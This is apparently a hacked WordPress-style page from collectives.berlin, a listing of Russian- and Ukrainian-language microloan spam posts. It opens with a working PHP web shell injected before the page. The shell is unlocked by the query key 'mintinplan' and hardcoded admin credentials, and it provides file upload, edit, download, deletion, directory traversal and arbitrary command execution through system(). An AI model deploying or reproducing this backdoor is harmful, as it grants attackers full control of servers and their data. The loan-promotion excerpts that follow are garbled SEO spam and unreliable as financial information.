if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Микрокредит – collectives.berlin

Your digital paradise.

Category: Микрокредит

  • Моментальный кредит онлайн на карту в Украине

    Онлайн кредитКредит готівкоюКредит без відмовиПозика онлайнКредит цілодобовоШвидкий кредитТерміново потрібні грошіМікропозикаКредит кредитные компании без дзвінків Та нвіть якщо оформлення беззаставне, невчасна сплата може мати серйозні наслідки – від штрафів до передачі справи колекторам. Вітаю, ні, в більшості МФО поручителі чи застава не потрібні. Більшість мікрофінансових організацій автоматизують процес розгляду позики. Залишається порівняти їх між собою і…

    Click or not…

  • Пенсійне забезпечення громадян у 2021 році

    Як і у попередні роки, пенсіонери, які після призначення (перерахунку) пенсій продовжували працювати та набули не менше 24 місяців страхового стажу, мають право звернутися до територіальних управлінь Пенсійного фонду України із заявою для проведення відповідного перерахунку пенсії. Пенсіонерам, які продовжують працювати, збільшення зазначених розмірів виплат здійснюватиметься після звільнення їх з роботи, виходячи з розміру прожиткового…

    Click or not…

  • Новые и малоизвестные МФО Казахстана 2024 2025 список и условия

    Новые и малоизвестные МФО в Казахстане предоставляют возможность получения кредита тем, кто ищет альтернативные источники финансирования. Однако, следует быть внимательным и оценивать репутацию и надежность компании перед обращением. В 2022 году в реестр было внесено 60 новых компаний, а в 2023 году — уже 80. В 2023 году в государственном реестре насчитывается более 300 микрофинансовых…

    Click or not…

  • Кредит онлайн на картку в Україні – Взяти кредит готівкою в ПриватБанку

    Пеня нараховується в разі прострочення платежу в період строку дії договору. Гроші зараховуються на картку, а зняти їх можна без відсотків у будь-який час. «Кредит готівкою» – це послуга, з якою ви можете отримати кошти онлайн на будь-які потреби. Якщо ви не дозволите ці файли cookie, реклама, що демонструється вам, буде менш релевантною. Проте ви…

    Click or not…

  • Кредиты в Астане: взять потребительский кредит онлайн в банках Казахстана без отказа

    Для предварительного планирования расходов удобно использовать кредитный калькулятор. Если это предусмотрено условиями продукта, заемщик также может воспользоваться досрочным погашением. Окончательные параметры кредита определяются после рассмотрения заявки. При рассмотрении заявки учитываются платежеспособность заемщика, кредитная история и другие факторы, предусмотренные внутренними процедурами банка. Сумма кредита и срок кредита определяются условиями продукта и решением банка. Заемщик сохраняет возможность…

    Click or not…

  • Сервис выдачи онлайн микрокредитов на срок на сумму до 176 500 тенге

    Для удобства заемщиков Канат кз разработала несколько вариантов внесения платежа — чтобы каждый смог выбрать удобный для себя вариант. Это позволяет Qanat выдавать онлайн-микрозаймы гражданам и резидентам Казахстана без залога или поручителей. Для получения микрозайма в компании Qanat вы должны быть гражданином Республики Казахстан старше 21 года. Благодаря этим преимуществам микрокредитования, QANAT.KZ становится надежным партнером…

    Click or not…

  • МФО Украины 2026: Список микрозаймов на карту без отказа, новые микрофинансовые организации

    Краще обрати будь-яку іншу фінансову установу. Такі дії прямо порушують законодавство щодо врегулювання простроченої заборгованості. Водночас проценти нараховуються щодоби, тому кожен зайвий день додає до рахунку так само, як зайва тисяча гривень у сумі. Знижені продукти тримають стовпці біля нуля, стандартні досягають верхньої межі. Верхня точка зрізу на 3000 грн і 7 днів дорівнює мікрокредит…

    Click or not…

  • Кредит наличными онлайн в Kaspi Bank: как взять, погашать, оптимизировать

    Наш сайт не имеет никакого отношения к банкам, либо к каким-либо финансовым организациям. После авторизации перейдите в раздел “Мой Банк”, и выберите “Получить Кредит Наличными”. Наиболее выгодно сокращать срок возврата кредита, так как в этом случае уменьшается сумма начисленных процентов и переплата. Сколько времени занимает оформление ипотеки, как долго ждать решение банка Для этого создан…

    Click or not…

  • Кредит онлайн на карту в Украине ️ Деньги на карту МФО Moneyveo

    Якщо клієнт не вніс суму боргу протягом трьох днів після закінчення терміну договору, компанія Манівео буде щодня нараховувати недобросовісному позичальнику процент від суми боргу. Пам’ятайте — навіть невеликі прострочення по мікропозиках можуть стати причиною для відмови в звичайному банку при оформленні стандартного кредиту. Перед проведенням платежу варто перевірити, чи стягує сервіс додаткову комісію та як…

    Click or not…

  • Light Credo Лайт Кредо кредит: ліцензія НБУ і чи працює сайт

    Найточнішу інформацію завжди містять умови договору та офіційні роз’яснення LightCredo. За наявності окремого розділу «Особистий кабінет» там можна знайти інформацію про авторизацію, можливості профілю та керування чинною позикою. Для входу використовується той самий спосіб авторизації, який застосовувався під час реєстрації. Тут зібрана інформація про чинну позику, графік платежів, реквізити, історію операцій та поточний стан договору.…

    Click or not…